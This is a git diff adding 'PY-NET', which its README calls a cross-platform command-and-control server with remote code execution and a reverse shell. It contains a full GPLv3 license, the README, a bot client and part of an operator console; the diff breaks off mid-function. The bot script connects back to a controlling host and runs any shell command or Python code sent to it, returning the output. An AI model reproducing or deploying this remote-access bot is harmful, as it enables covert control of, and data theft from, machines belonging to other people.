diff options
| -rw-r--r-- | LICENSE | 674 | ||||
| -rw-r--r-- | README.md | 72 | ||||
| -rw-r--r-- | bot.py | 119 | ||||
| -rw-r--r-- | host.py | 472 | ||||
| -rw-r--r-- | shared.py | 410 |
5 files changed, 1747 insertions, 0 deletions
@@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + <program> Copyright (C) <year> <name of author> + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/README.md b/README.md new file mode 100644 index 0000000..6522e14 --- /dev/null +++ b/README.md @@ -0,0 +1,72 @@ +# PY-NET +PY-NET is a cross-platform C&C server hosting program requiring zero third-party dependencies. Supporting both AES & TLS encrypted connections over TCP. + +## Requirements +* [Python 3.8+](https://www.python.org/downloads/release/python-380) +* (cryptography) + +## Features +* Stable RCE & Reverse Shell +* Zero Third-party Dependencies + * _Requires the cryptography library when using AES encryption_ +* Cross-Platform +* Multiple Connection Types + * Raw - Compression + * Symmetric - Compression & AES Encryption + * Asymmetric - TLS Encryption + +## Implementation Features +* Secure TCP message implementation using a server side generated token for each message +* Fast TCP message transfer using bytearrays instead of strings +* Encryption of TCP headers when using AES encryption +* Specific encoding, encoding errors & language code support +* Support for shell & connection timeouts +* No HTTP overhead or dependency on the web + +## Usage +* python host.py +* python bot.py + +#### Generating Self-signed Keys +* python host.py --pubk_out [filepath] --privk_out [filepath] + * _Requires openssl in your path variable_ + +#### Connecting to an AES Encrypted Host +* python bot.py --password [password] --salt [salt] + +#### Connecting to an TLS Encrypted Host +* python bot.py --pubk_data "[public key string]" + +## Commands +* exit + * Exit the program + +* cls + * Clear the screen + +* list + * List all hosts & connected bots + * This will show their ID used for specific interactions + * This will also specify their session status + +* listen (--hostname [hostname]) (--port [port]) (--password [password] & --salt [salt]) +* listen (--hostname [hostname]) (--port [port]) (--pubk [public key filepath] & --privk [private key filepath]) + * --hostname & --port defaults to localhost & 38568 + * --password & --salt starts an AES encrypted host + * --pubk & --privk starts an TLS encrypted host + +* who --id [host or bot ID] + * Specific address information of host or bot + +* close --id [host or bot IDs separated by comma] + * Closes connections of hosts or bots + +* session --id [bot IDs separated by comma] (--remove) + * --remove will remove the bot from the active session + +## Session Commands +* ([command] | --filepath [filepath]) (--run) (--history) + * A reverse shell for any command + * --filepath sets the command with the file's content + * --run executes the command as Python code instead + * --history provides additional information of transferred data @@ -0,0 +1,119 @@ +import contextlib +import subprocess +import argparse +import os +import io + +from typing import Optional +from typing import Tuple + +from shared import DEFAULT_HOSTNAME +from shared import DEFAULT_PORT +from shared import DEFAULT_ENCODING +from shared import DEFAULT_LANGUAGE_CODE +from shared import LIBERAL_ENCODING_ERRORS +from shared import Platform +from shared import AsymmetricSocket +from shared import SymmetricSocket +from shared import Socket + +class Execute: + + ENCODING = DEFAULT_ENCODING + LANGUAGE_CODE = DEFAULT_LANGUAGE_CODE + TIMEOUT = 60 + + @staticmethod + def code(code: str) -> str: + assert isinstance(code, str), f'Wrong type: {code=}' + + buffer = io.StringIO() + + with contextlib.redirect_stdout(buffer): + exec(code) + + return buffer.getvalue() + + @staticmethod + def shell(command: str) -> Tuple[Optional[str], Optional[str]]: + command = command.strip().replace('\n', ' && ') + + if Platform.WINDOWS and Execute.LANGUAGE_CODE: + command = f'chcp {Execute.LANGUAGE_CODE} > nul && {command}' + + proc = subprocess.Popen(command, + shell=True, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + encoding=Execute.ENCODING, + errors=LIBERAL_ENCODING_ERRORS) + + try: + return ''.join(proc.communicate(timeout=Execute.TIMEOUT)).rstrip() + except subprocess.TimeoutExpired as err: + proc.kill(); return f'[BOT] ERROR :: {err}' + +class Bot: + + def __init__( + self, + *args, + symmetric: Optional[bool]=None, + **kwargs + ) -> None: + assert isinstance(symmetric, bool) or symmetric is None, f'Wrong type: {symmetric=}' + + if symmetric is None: + self.bot = Socket(*args) + self.bot.set_conn() + self.bot.set_middleware() + elif symmetric: + self.bot = SymmetricSocket(*args, **kwargs) + self.bot.set_conn() + self.bot.set_middleware() + else: + self.bot = AsymmetricSocket(*args, **kwargs) + self.bot.set_conn() + self.bot.set_middleware() + + def connect(self) -> None: + while True: + request = self.bot.recv() + + try: + command, run = (request.get('request'), request.get('run')) + + assert command is not None, f'Missing attribute: {command=}' + assert isinstance(run, bool), f'Wrong type: {run=}' + + if run: + response = Execute.code(command) + elif command[:2] == 'cd': + os.chdir(command[2:].lstrip()) + response = os.getcwd() + else: + response = Execute.shell(command) + + self.bot.send({'response': response}) + except Exception as err: + self.bot.send({'response': f'[BOT] ERROR :: {err}'}) + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--hostname', default=DEFAULT_HOSTNAME) + parser.add_argument('--port', type=int, default=DEFAULT_PORT) + parser.add_argument('--password') + parser.add_argument('--salt') + parser.add_argument('--pubk_data') + args = parser.parse_args() + + if args.password and args.salt: + options = {'symmetric': True, 'password': args.password, 'salt': args.salt} + elif args.pubk_data: + options = {'symmetric': False, 'public_key_data': args.pubk_data} + else: + options = {} + + bot = Bot(args.hostname, args.port, **options) + bot.connect() @@ -0,0 +1,472 @@ +import subprocess +import threading +import argparse +import uuid +import sys +import os + +from typing import Generator +from typing import Sequence +from typing import Optional +from typing import Union +from typing import Tuple +from typing import Dict +from typing import Any + +from shared import DEFAULT_HOSTNAME +from shared import DEFAULT_PORT +from shared import DEFAULT_ENCODING +from shared import STRICT_ENCODING_ERRORS +from shared import Platform +from shared import AsymmetricSocket +from shared import SymmetricSocket +from shared import Socket + +hosts = {} + +class Console: + + if Platform.UNIX: + ANSI_RED = '\033[31' + ANSI_GREEN = '\033[32' + ANSI_YELLOW = '\033[33' + ANSI_BLUE = '\033[34' + ANSI_PURPLE = '\033[35' + ANSI_CYAN = '\033[36' + ANSI_WHITE = '\033[37' + ANSI_RESET = '\033[39m' + else: + ANSI_RED = '' + ANSI_GREEN = '' + ANSI_YELLOW = '' + ANSI_BLUE = '' + ANSI_PURPLE = '' + ANSI_CYAN = '' + ANSI_WHITE = '' + ANSI_RESET = '' + + INFO = f'{ANSI_BLUE}[*]{ANSI_RESET} ' + SUCCESS = f'{ANSI_GREEN}[+]{ANSI_RESET} ' + WARNING = f'{ANSI_YELLOW}[!]{ANSI_RESET} ' + DANGER = f'{ANSI_RED}[-]{ANSI_RESET} ' + NULL = '' + + @staticmethod + def write( + obj: Any, + prefix: str=INFO, + *, + color: str=ANSI_WHITE, + suffix: str='', + **kwargs + ) -> None: + print(f'{prefix}{color}{obj}{Console.ANSI_RESET}{suffix}\n', **kwargs) + + @staticmethod + def table( + rows: Sequence, + *, + headers: Sequence, + prefix: str='', + suffix: str='', + separator: str='-', + margin: str=' ' + ) -> str: + column_lengths = [] + result = [prefix] + + for header in headers: + column_lengths.append([len(str(header))]) + + for row in rows: + for index, column in enumerate(row): + column_lengths[index].append(len(str(column))) + else: + max_column_lengths = [] + + for column_length in column_lengths: + max_column_lengths.append(max(column_length)) + + for index, header in enumerate(headers): + result.append(str(header).ljust(max_column_lengths[index]) + margin) + else: + result.append('\n') + + for max_column_length in max_column_lengths: + result.append(max_column_length * separator + margin) + else: + result.append('\n') + + for row in rows: + for index, column in enumerate(row): + result.append(str(column).ljust(max_column_lengths[index]) + margin) + else: + result.append('\n') + else: + result.append(suffix) + return ''.join(result) + + @staticmethod + def banner() -> str: + return ('----------------------------------------------- __ \n' + ' _____ __ __ _ _ ______ _______ w c(..)o (\n' + ' | __ \\\\ \ / / | \ | || ____||__ __| \__(-) __)\n' + ' | |__) |\ \_/ /______ | \| || |__ | | /\ (\n' + ' | ___/ \ /|______|| . ` || __| | | /(_)___)\n' + ' | | | | | |\ || |____ | | w /|\n' + ' |_| |_| |_| \_||______| |_| | \\\n' + '----------------------------------------------- m m') + +class Action: + + @staticmethod + def args(*args, **kwargs) -> Generator[Any, None, None]: + for arg, cast, default in args: + if cast is bool: + yield kwargs.get(arg) is not None + else: + value = kwargs.get(arg, default) + + if value == default: + yield value + else: + yield cast(value) + + @staticmethod + def exit(_) -> None: + Console.write('May we meet in another process...', Console.NULL, end=Console.NULL) + sys.exit() + + @staticmethod + def cls(_) -> None: + if Platform.UNIX: + os.system('clear') + else: + os.system('cls') + + @staticmethod + def list(_) -> None: + if len(hosts) > 0: + rows = [] + + for host_id, host in hosts.items(): + rows.append((host_id, *host.host.address())) + + for bot_id, bot in host.bots.items(): + rows.append((bot_id, *bot.address())) + else: + table = Console.table(rows, headers=host.host.address_headers()) + Console.write(table, Console.NULL, end=Console.NULL) + else: + 